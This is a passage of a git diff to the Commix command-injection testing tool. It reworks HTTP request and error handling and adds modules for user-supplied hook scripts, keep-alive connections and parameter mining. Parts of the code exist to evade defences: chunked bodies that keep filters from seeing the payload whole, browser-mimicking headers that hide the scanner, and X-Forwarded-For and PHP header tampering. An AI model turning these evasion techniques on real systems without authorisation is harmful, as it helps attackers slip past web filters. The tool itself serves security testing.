current_attempt + 1 - time.sleep(3) - - except ValueError as err: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + if not settings.MULTI_TARGETS and not settings.CRAWLING: + pass + else: + if not settings.INIT_TEST: + checks.connection_exceptions(err_msg) + if isinstance(err_msg, (_urllib.error.HTTPError, _urllib.error.URLError, SocketError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead)): + pending_error = err_msg + break - except AttributeError: - raise SystemExit() - - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - code = response.getcode() - response_headers = response.info() - page = checks.page_encoding(response, action="encode") - response_headers[settings.URI_HTTP_HEADER] = response.geturl() - response_headers = str(response_headers).strip("\n") - if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file: + while True: + try: + if response is False: + if pending_error is not None: + raise pending_error + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # Make .read() idempotent so callers can safely reuse this response. + _raw_body = response.read() + response.read = (lambda _b: lambda *a, **kw: _b)(_raw_body) + code = response.getcode() + response_headers = response.info() + page = checks.process_page_content(response, action="encode") + # Before anything reads the answer, so what a script hands back is what the run works from - + # the page every check below compares, and the body every caller of this response reads. + if settings.POSTPROCESS_FUNCTIONS: + page, response_headers, code = hooks.postprocess(page, response_headers, code) + response.read = (lambda _b: lambda *a, **kw: _b)(page.encode(settings.DEFAULT_CODEC, errors="replace")) + response_headers[settings.URI_HTTP_HEADER] = response.geturl() + response_headers = str(response_headers).strip(settings.END_LINE.LF) + # Handle server-set cookies. + if not menu.options.drop_set_cookie: + cookies.handle_server_cookies(response) print_http_response(response_headers, code, page) - # Checks regarding a potential CAPTCHA protection mechanism. - checks.captcha_check(page) - # Checks regarding a potential browser verification protection mechanism. - checks.browser_verification(page) - # Checks regarding recognition of generic "your ip has been blocked" messages. - checks.blocked_ip(page) - - # This is useful when handling exotic HTTP errors (i.e requests for authentication). - except _urllib.error.HTTPError as err: - if settings.VERBOSITY_LEVEL != 0: - print_http_response(err.info(), err.code, err.read()) - - if not settings.PERFORM_CRACKING and \ - not settings.IS_JSON and \ - not settings.IS_XML and \ - not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ - not str(err.code) == settings.BAD_REQUEST: - print(settings.SINGLE_WHITESPACE) - # error_msg = "Got " + str(err).replace(": "," (") - # Check for 3xx, 4xx, 5xx HTTP error codes. - if str(err.code).startswith(('3', '4', '5')): - if settings.VERBOSITY_LEVEL >= 2: - if len(str(err).split(": ")[1]) == 0: - error_msg = "Non-standard HTTP status code" - pass - else: - error_msg = str(err).replace(": "," (") - if len(str(err).split(": ")[1]) == 0: - err_msg = error_msg + "Non-standard HTTP status code" - else: - err_msg = error_msg - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # The handlers raise this exception when they run into a problem. - except (_http_client.HTTPException, _urllib.error.URLError, _http_client.IncompleteRead) as err: - if any(_ in str(err) for _ in ("timed out", "IncompleteRead", "Interrupted system call")): - pass - else: - err_msg = "Unable to connect to the target URL" + # Checks regarding a potential CAPTCHA protection mechanism. + checks.captcha_check(page) + # Checks regarding a potential browser verification protection mechanism. + checks.browser_verification(page) + # Checks regarding recognition of generic "your ip has been blocked" messages. + checks.blocked_ip(page) + # Whatever shell or interpreter the page is reporting an error from. + checks.parse_errors(page) + # The page as it was read back, the way the error path below records it - what a file like + # this is opened for is the answer, and the bytes it arrived compressed in are not it. + har.collect(request, code, getattr(response, "reason", ""), response.info(), page, started, time.time(), raw_body=_raw_body) + stability.reset_connection_error_budget() + return response + + # This is useful when handling exotic HTTP errors (i.e. requests for authentication). + except _urllib.error.HTTPError as err: + if not menu.options.drop_set_cookie: + cookies.handle_server_cookies(err) try: - err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." - except IndexError: - err_msg += "." - if menu.options.bulkfile: - raise - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Raise exception regarding existing connection was forcibly closed by the remote host. - except SocketError as err: - if err.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif err.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - + if getattr(err, 'fp', None) is None: + raise AttributeError + page = checks.process_page_content(err, action="encode") + except Exception: + page = '' + response_headers = err.info() + code = err.code + # An error code is an answer too, and the envelope a script is there to unwrap is no less + # likely to arrive with one. + if settings.POSTPROCESS_FUNCTIONS: + page, response_headers, code = hooks.postprocess(page, response_headers, code) + print_http_response(response_headers, code, page) + # WAF/CAPTCHA/block pages are usually served as error codes - check the body here too. + checks.captcha_check(page) + checks.browser_verification(page) + checks.blocked_ip(page) + # A shell error is at least as likely to come back as a 500 as it is with a 200. + checks.parse_errors(page) + # An error code is an answer like any other, and the one worth having in the file most. + har.collect(request, code, getattr(err, "reason", ""), err.info(), page, started, time.time()) + + if (not settings.PERFORM_CRACKING and \ + not settings.IS_JSON and \ + not settings.IS_XML and \ + not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ + not str(err.code) == settings.BAD_REQUEST and \ + not settings.CRAWLED_URLS_NUM != 0 and \ + not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Check for 3xx, 4xx, 5xx HTTP error codes. + if str(err.code).startswith(('3', '4', '5')): + settings.HTTP_ERROR_CODES_SUM.append(err.code) + # Nothing is returned for it, so this is what tells a caller the request did reach the target. + settings.LAST_HTTP_ERROR = err + # Except where the run was told to ignore this code: then it is the target's answer rather + # than a failure, and the body of it is where the result of a payload would be. Read back + # from what was already taken off it, since the body itself is only readable once. + if checks.ignored_http_error_code(err.code): + err.read = (lambda _b: lambda *a, **kw: _b)(page.encode(settings.DEFAULT_CODEC, errors="replace")) + return err + if settings.VERBOSITY_LEVEL >= 2: + parts = str(err).split(": ") + if len(parts) > 1 and len(parts[1]) == 0: + error_msg = "Non-standard HTTP status code" + return None + else: + error_msg = str(err).replace(": ", " (") + parts = str(err).split(": ") + if len(parts) > 1 and len(parts[1]) == 0: + err_msg = error_msg + "Non-standard HTTP status code" + else: + err_msg = error_msg + + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) + raise SystemExit(settings.EXIT_FAILURE) + + except _urllib.error.URLError as err: + if not menu.options.drop_set_cookie: + cookies.handle_server_cookies(err) + reason = str(getattr(err, 'reason', 'Unknown error')) + reason_parts = reason.split(settings.SINGLE_WHITESPACE) + if len(reason_parts) > 2: + response_headers = settings.SINGLE_WHITESPACE.join(reason_parts[2:]) + "." + else: + response_headers = reason + if not response_headers.endswith("."): + response_headers += "." + code = "" + page = "" + print_http_response(response_headers, code, page) + settings.print_data_to_stdout(settings.print_critical_msg("URL Error: " + reason)) + raise SystemExit(settings.EXIT_FAILURE) + + # A raw connection-level error - retry it like any other transient failure. + except (SocketError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead) as err: + if stability.should_retry_connection_error(err): + response = False + continue + err_msg = "The target host is not responding. Please ensure it is up and try again." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + """ -Check for added headers. +Send again a request check_http_traffic() came back from empty-handed - which it does both when nothing answered and when the answer was a 3xx/4xx/5xx already read off the wire, and only the first is worth repeating. """ -def do_check(request): +def resend(request): + error = settings.LAST_HTTP_ERROR + # A code the run was told to ignore is an answer, not a failure to retry past - repeated until the + # retries run out, a target that always answers with one is reported as unreachable instead. + if error is not None and (checks.ignored_http_error_code(getattr(error, "code", None)) or + str(getattr(error, "code", "")) not in settings.TRANSIENT_HTTP_ERROR_CODES): + raise error + # A long enough delay can push the target into erroring out, and that error arrives at the delay asked for - which is the measurement, so repeating it only pays the delay twice. + if error is not None and settings.TIME_RELATED_ATTACK: + raise error + if error is not None and settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Retrying the request due to HTTP error code '" + str(error.code) + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + return proxy.use_proxy(request) + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == None: - request.add_header(settings.HOST, menu.options.host) +""" +Send a request, falling back to proxy/urlopen only if check_http_traffic() found no response. +""" +def send_request(request): + do_check(request) + response = check_http_traffic(request) + if response is None: + response = resend(request) + return response + +""" +What every request the run makes carries: the headers the options ask for, the body framing, and +whatever the evasion has turned on. + +'safe' marks the visit that keeps the session alive. It is sent for the session rather than to +test anything, so what belongs to a test - the token, the randomised parameters - and what belongs +to the evasion - the chunked body, the headers a tamper script adds - is left off it. An ordinary +visit is the whole point of it, and a filter that is being evaded is not reading it. +""" +def do_check(request, safe=False): + + request = encode_non_ascii_url(request) + # The address this one was given is the user's own, asked for as it was written, and the token + # belongs to the request being tested rather than to the one sent between them. + if not safe: + randomize_parameters(request) + anticsrf.apply_token(request) + + # Frame the body as chunks, so a filter inspecting it never sees the payload in one piece. + if menu.options.chunked and request.data and not safe and not request.has_header(settings.TRANSFER_ENCODING): + request.data = chunked.split_post_data(request.data.decode(settings.DEFAULT_CODEC, errors="replace")).encode(settings.DEFAULT_CODEC) + request.add_unredirected_header(settings.TRANSFER_ENCODING, "chunked") + + # Check if defined any Cookie HTTP header. + # Whatever keeps the file up to date knows better than the value this run started with. + if menu.options.live_cookies and not settings.COOKIE_INJECTION: + menu.options.cookie = cookies.live_cookies() + + if menu.options.cookie and not settings.COOKIE_INJECTION: + request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) # Check if defined any User-Agent HTTP header. - if menu.options.agent: - request.add_header(settings.USER_AGENT, menu.options.agent) + if menu.options.agent and not settings.USER_AGENT_INJECTION: + request.add_header(settings.USER_AGENT, checks.remove_tags(menu.options.agent)) # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == None: - request.add_header(settings.REFERER, menu.options.referer) - - # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == False: - request.add_header(settings.COOKIE, menu.options.cookie) - - if not checks.get_header(request.headers, settings.HTTP_ACCEPT_HEADER): - request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE) + if menu.options.referer and not settings.REFERER_INJECTION: + request.add_header(settings.REFERER, checks.remove_tags(menu.options.referer)) + + # Check if defined any Host HTTP header. + if menu.options.host and not settings.HOST_INJECTION: + request.add_header(settings.HOST, checks.remove_tags(menu.options.host)) + + # Sent as a set rather than one at a time: a browser's "User-Agent" over a "*/*" only a scanner + # sends, with no "Accept-Language" behind it, is a scanner to anything reading the three together. + if not checks.get_header(request.headers, settings.ACCEPT): + request.add_header(settings.ACCEPT, settings.HTTP_ACCEPT_BROWSER_VALUE if settings.BROWSER_LIKE_HEADERS else settings.ACCEPT_VALUE) + + if settings.BROWSER_LIKE_HEADERS and not checks.get_header(request.headers, settings.ACCEPT_LANGUAGE): + request.add_header(settings.ACCEPT_LANGUAGE, settings.HTTP_ACCEPT_LANGUAGE_BROWSER_VALUE) + + # One the target's own request carries is applied further below, and an unredirected default would override it. + # Said of a body: a request carrying none describes nothing by naming a type for it, and no browser + # names one on a request it sends empty. + supplied_headers = str(menu.options.headers or "") + str(menu.options.header or "") + str(settings.RAW_HTTP_HEADERS or "") + if request.data is not None and not checks.get_header(request.headers, settings.CONTENT_TYPE) and settings.CONTENT_TYPE.lower() not in supplied_headers.lower(): + request.add_unredirected_header(settings.CONTENT_TYPE, settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE) # The MIME media type for JSON. - if menu.options.data: + if request.data is not None and menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", "application/json") + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + elif re.search(settings.GRAPHQL_RECOGNITION_REGEX, menu.options.data): + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_GRAPHQL_HEADER_VALUE) - # Appends a fake HTTP header 'X-Forwarded-For' - if settings.TAMPER_SCRIPTS["xforwardedfor"]: - from src.core.tamper import xforwardedfor - xforwardedfor.tamper(request) - # Default value for "Accept-Encoding" HTTP header - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + if not (menu.options.requestfile or menu.options.logfile): + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE if settings.PAGE_COMPRESSION else settings.HTTP_ACCEPT_ENCODING_IDENTITY) + + # Appends a fake HTTP header 'X-Forwarded-For' (and similar) + if settings.TAMPER_SCRIPTS["xforwardedfor"] and not safe: + from src.tamper.misc import xforwardedfor + xforwardedfor.tamper(request) + + # Carries the two halves the payload reads back through '$_SERVER' - drawn with it, so the names + # in the payload and the headers on this request are the same pair. + if settings.TAMPER_SCRIPTS["phpserverheaders"] and not safe: + from src.tamper.eval.php import phpserverheaders + phpserverheaders.apply_headers(request) # Check if defined any HTTP Authentication credentials. - # HTTP Authentication: Basic / Digest Access Authentication. + # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: - try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) - if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') - request.add_header("Authorization", "Basic " + b64_string + "") - elif menu.options.auth_type == "digest": - try: - url = menu.options.url - try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") - user_pass_pair = menu.options.auth_cred.split(":") - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except _urllib.error.HTTPError as e: - pass - except ValueError: - err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." - err_msg += " Try basic or digest HTTP authentication type." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER, settings.AUTH_TYPE.PKI): + err_msg = "HTTP authentication type value must be Basic, Digest, Bearer or PKI." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: + request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace(settings.END_LINE.LF, '') + request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) + # Digest is handled in check_http_traffic()'s opener, not here. + else: - pass - + pass + # Check if defined any extra HTTP headers. - if menu.options.headers or menu.options.header or len(settings.RAW_HTTP_HEADERS) >= 1: - if len(settings.RAW_HTTP_HEADERS) >= 1: + if settings.EXTRA_HTTP_HEADERS or settings.RAW_HTTP_HEADERS: + if settings.RAW_HTTP_HEADERS: menu.options.headers = settings.RAW_HTTP_HEADERS - # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. if menu.options.headers: - menu.options.headers = checks.wildcard_character(menu.options.headers) - extra_headers = menu.options.headers - else: - menu.options.header = checks.wildcard_character(menu.options.header) - extra_headers = menu.options.header - + extra_headers = checks.process_custom_injection_data(menu.options.headers) + elif menu.options.header: + extra_headers = checks.process_custom_injection_data(menu.options.header) + extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: extra_headers = extra_headers.replace(": //" ,"://") - if "\\n" in extra_headers: - extra_headers = extra_headers.split("\\n") + if settings.END_LINE.ESCAPED_LF in extra_headers: + extra_headers = extra_headers.split(settings.END_LINE.ESCAPED_LF) # Remove empty strings and "Content-Length" - extra_headers = [x for x in extra_headers if "Content-Length" not in x] + extra_headers = [x for x in extra_headers if settings.CONTENT_LENGTH not in x] else: tmp_extra_header = [] tmp_extra_header.append(extra_headers) extra_headers = tmp_extra_header - # Remove empty strings - extra_headers = [x for x in extra_headers if x] - + # Remove empty strings and/or duplicates + non_empty = [x for x in extra_headers if x] + extra_headers = (list(dict.fromkeys(non_empty))) + + if menu.options.data: + # The MIME media type for JSON. + if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ + re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): + if settings.CONTENT_TYPE not in str(extra_headers): + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + if settings.CONTENT_TYPE not in str(extra_headers): + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + if settings.ACCEPT_ENCODING not in str(extra_headers): + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE if settings.PAGE_COMPRESSION else settings.HTTP_ACCEPT_ENCODING_IDENTITY) + for extra_header in extra_headers: try: - # Extra HTTP Header name + # Extra HTTP Header name http_header_name = extra_header.split(':', 1)[0] http_header_name = ''.join(http_header_name).strip() # Extra HTTP Header value http_header_value = extra_header.split(':', 1)[1] http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. - if settings.CUSTOM_HEADER_INJECTION == False and \ - settings.INJECT_TAG in http_header_value: - settings.CUSTOM_HEADER_INJECTION = True - settings.CUSTOM_HEADER_NAME = http_header_name - # Add HTTP Header name / value to the HTTP request - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - request.add_header(http_header_name.encode(settings.UNICODE_ENCODING), http_header_value.encode(settings.UNICODE_ENCODING)) - except: - pass + if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + if not settings.CUSTOM_HEADER_INJECTION: + benign_value = re.sub(settings.PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", http_header_value) + if settings.CUSTOM_INJECTION_MARKER_CHAR in benign_value: + settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_HEADER_CHECK = http_header_name + + if settings.CUSTOM_INJECTION_MARKER_CHAR in benign_value or \ + http_header_name in settings.TESTABLE_PARAMETERS_LIST or \ + settings.INJECT_TAG in http_header_value or \ + settings.ASTERISK_MARKER in http_header_value: + + settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True + settings.CUSTOM_HEADER_CHECK = http_header_name + # The names above are already the ones this branch was not entered for, and asking + # again with the value spliced onto the name asked something no name can answer. + if len(http_header_name) != 0 and \ + http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(http_header_name) if http_header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) + http_header_value = checks.remove_tags(http_header_value) + request.add_header(http_header_name, http_header_value) + + # Normalize for comparison + excluded_headers = [ + settings.HOST, + settings.USER_AGENT, + settings.REFERER, + settings.COOKIE, + settings.CUSTOM_HEADER_NAME + ] + excluded_headers = [h.lower() for h in excluded_headers if h] -# eof \ No newline at end of file + # Check and apply Title-Case for final header name + if http_header_name.lower() not in excluded_headers: + normalized_name = '-'.join([part.capitalize() for part in http_header_name.split('-')]) + request.add_header(normalized_name, http_header_value) + + except Exception: + pass + +# eof diff --git a/src/core/requests/hooks.py b/src/core/requests/hooks.py new file mode 100644 index 0000000000..0af4c42cb5 --- /dev/null +++ b/src/core/requests/hooks.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re + +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import http_client as _http_client + +""" +Scripts handed the whole request on its way out, and the whole answer on its way back. + +A tamper script is handed the payload and hands one back, which is the right shape for what is done +to a payload and the wrong one for everything done around it. What is left over is the work that +belongs to the request rather than to what is being injected: signing it again once its body has +changed, recomputing a checksum header over it, or unwrapping the envelope an answer arrives in so +that what commix reads is the answer rather than the wrapper. +""" + +""" +Load the scripts an option names, and hand back the functions they define. +""" +def _load(option, kind): + functions = [] + if not option: + return functions + for path in (item.strip() for item in re.split(settings.PARAMETER_SPLITTING_REGEX, option) if item.strip()): + if not path.endswith(".py"): + err_msg = "The " + kind + " script '" + path + "' should have a '.py' extension." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if not os.path.isfile(path): + err_msg = "The " + kind + " script '" + path + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + namespace = {} + try: + with open(path, encoding=settings.DEFAULT_CODEC) as script_file: + exec(compile(script_file.read(), path, "exec"), namespace) + except Exception as err_msg: + error_msg = "Unable to load the " + kind + " script '" + path + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if not callable(namespace.get(kind)): + err_msg = "The " + kind + " script '" + path + "' does not define a '" + kind + "()' function." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + functions.append((os.path.basename(path), namespace[kind])) + return functions + +""" +Read what '--preprocess' and '--postprocess' were given, before the target is touched. + +For the same reason the tamper scripts are read there: a script that does not exist, or does not +define what it has to, is the user's to correct rather than something to find out mid-run. +""" +def load_scripts(): + settings.PREPROCESS_FUNCTIONS = _load(menu.options.preprocess, "preprocess") + settings.POSTPROCESS_FUNCTIONS = _load(menu.options.postprocess, "postprocess") + if settings.VERBOSITY_LEVEL != 0: + for name, _ in settings.PREPROCESS_FUNCTIONS + settings.POSTPROCESS_FUNCTIONS: + debug_msg = "Loaded the hook script '" + name + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + +""" +Report a script that raised, naming it rather than the line it died on. +""" +def _failed(kind, name, err_msg): + error_msg = "The " + kind + " script '" + name + "' raised an unhandled error (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Hand the request to every '--preprocess' script, in the order they were given. + +The request itself is passed rather than a copy of its parts, so that a script can change the URL, +the body and the headers together - which is what signing one again amounts to. +""" +def preprocess(request): + for name, function in settings.PREPROCESS_FUNCTIONS: + try: + function(request) + except Exception as err_msg: + _failed("preprocess", name, err_msg) + return request + +""" +Headers as the rest of the run expects them, whatever a script handed back. + +A script is free to return a plain dictionary - it is the obvious thing to return - and what reads +them afterwards wants something that renders as headers rather than as a dictionary. +""" +def _as_headers(response_headers): + if response_headers is None or hasattr(response_headers, "get_content_charset"): + return response_headers + if isinstance(response_headers, dict): + message = _http_client.HTTPMessage() + for key, value in response_headers.items(): + message[str(key)] = str(value) + return message + return response_headers + +""" +Hand the answer to every '--postprocess' script, and keep what the last of them returns. + +What comes back is what the rest of the run reads - the detection, the comparisons and the extracted +output all - so an answer unwrapped here is unwrapped everywhere, rather than only where it is shown. +""" +def postprocess(page, response_headers, code): + for name, function in settings.POSTPROCESS_FUNCTIONS: + try: + page, response_headers, code = function(page, response_headers, code) + except Exception as err_msg: + _failed("postprocess", name, err_msg) + response_headers = _as_headers(response_headers) + if isinstance(page, bytes): + page = page.decode(settings.DEFAULT_CODEC, errors="replace") + return page, response_headers, code + +# eof diff --git a/src/core/requests/keepalive.py b/src/core/requests/keepalive.py new file mode 100644 index 0000000000..5f4bac4e22 --- /dev/null +++ b/src/core/requests/keepalive.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import threading +from socket import error as SocketError +from src.thirdparty.six.moves import http_client as _http_client +from src.thirdparty.six.moves import urllib as _urllib + +""" +Persistent (Keep-Alive) connections, reusing one socket per thread and origin. +""" + +# Keyed by thread, so workers never share a socket. +_CONNECTIONS = {} +_LOCK = threading.Lock() + +# A pooled socket that turned out to be unusable. +STALE_ERRORS = (SocketError, _http_client.BadStatusLine, _http_client.CannotSendRequest, + _http_client.ResponseNotReady, _http_client.RemoteDisconnected, + _http_client.ImproperConnectionState) + +""" +The origin a connection can be reused for. +""" +def _key(req): + return (threading.current_thread().ident, req.type, req.host, req._tunnel_host) + +""" +Reusable only while the socket is up and the last response fully read. +""" +def _reusable(entry): + connection, response = entry + if connection.sock is None: + return False + return response is None or response.isclosed() + +""" +Drop a pooled connection. +""" +def _discard(key): + with _LOCK: + entry = _CONNECTIONS.pop(key, None) + if entry: + try: + entry[0].close() + except Exception: + pass + +""" +Close every pooled connection. +""" +def close_all(): + with _LOCK: + entries = list(_CONNECTIONS.values()) + _CONNECTIONS.clear() + for connection, _ in entries: + try: + connection.close() + except Exception: + pass + +""" +A pooled connection for the request's origin, or a new one. +""" +def _connection(key, http_class, req, tunnel_headers, http_conn_args, reuse): + if reuse: + with _LOCK: + entry = _CONNECTIONS.get(key) + if entry and _reusable(entry): + return entry[0] + _discard(key) + + connection = http_class(req.host, timeout=req.timeout, **http_conn_args) + if req._tunnel_host: + connection.set_tunnel(req._tunnel_host, headers=tunnel_headers) + with _LOCK: + _CONNECTIONS[key] = (connection, None) + return connection + +""" +The pooling counterpart of urllib's do_open(). +""" +def do_open(handler, http_class, req, **http_conn_args): + if not req.host: + raise _urllib.error.URLError("no host given") + + headers = dict(req.unredirected_hdrs) + headers.update({name: value for name, value in req.headers.items() if name not in headers}) + headers["Connection"] = "keep-alive" + headers = {name.title(): value for name, value in headers.items()} + + tunnel_headers = {} + if req._tunnel_host and "Proxy-Authorization" in headers: + tunnel_headers["Proxy-Authorization"] = headers.pop("Proxy-Authorization") + + key = _key(req) + response = None + # A dropped socket only shows up on use, so retry once on a new one. + for reuse in (True, False): + connection = _connection(key, http_class, req, tunnel_headers, http_conn_args, reuse) + connection.set_debuglevel(handler._debuglevel) + try: + connection.request(req.get_method(), req.selector, req.data, headers, + encode_chunked=req.has_header("Transfer-encoding")) + response = connection.getresponse() + break + except STALE_ERRORS as err_msg: + _discard(key) + if not reuse: + raise _urllib.error.URLError(err_msg) + except Exception: + _discard(key) + raise + + if response.will_close: + _discard(key) + else: + with _LOCK: + _CONNECTIONS[key] = (connection, response) + + response.url = req.get_full_url() + response.msg = response.reason + return response + +# eof diff --git a/src/core/requests/mining.py b/src/core/requests/mining.py new file mode 100644 index 0000000000..afd247eefc --- /dev/null +++ b/src/core/requests/mining.py @@ -0,0 +1,199 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +import string +import difflib + +from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib + +""" +A name the target can have no use for, so what it answers is what it answers to anything. +""" +def _decoy(): + return "".join(random.choice(string.ascii_lowercase) for _ in range(settings.MINING_DECOY_LENGTH)) + +""" +The candidate names, as the list carries them. +""" +def _candidates(): + try: + with open(settings.PARAMETER_MINING_LIST, "r") as candidates: + return [line.strip() for line in candidates if line.strip() and not line.startswith("#")] + except IOError: + return [] + +""" +The URL with the given names appended, each carrying a value the target has no reason to know. +""" +def _with(url, names): + query = "&".join(name + "=" + _decoy() for name in names) + return url + ("&" if "?" in url else "?") + query + +""" +The page a URL answers with, read the way 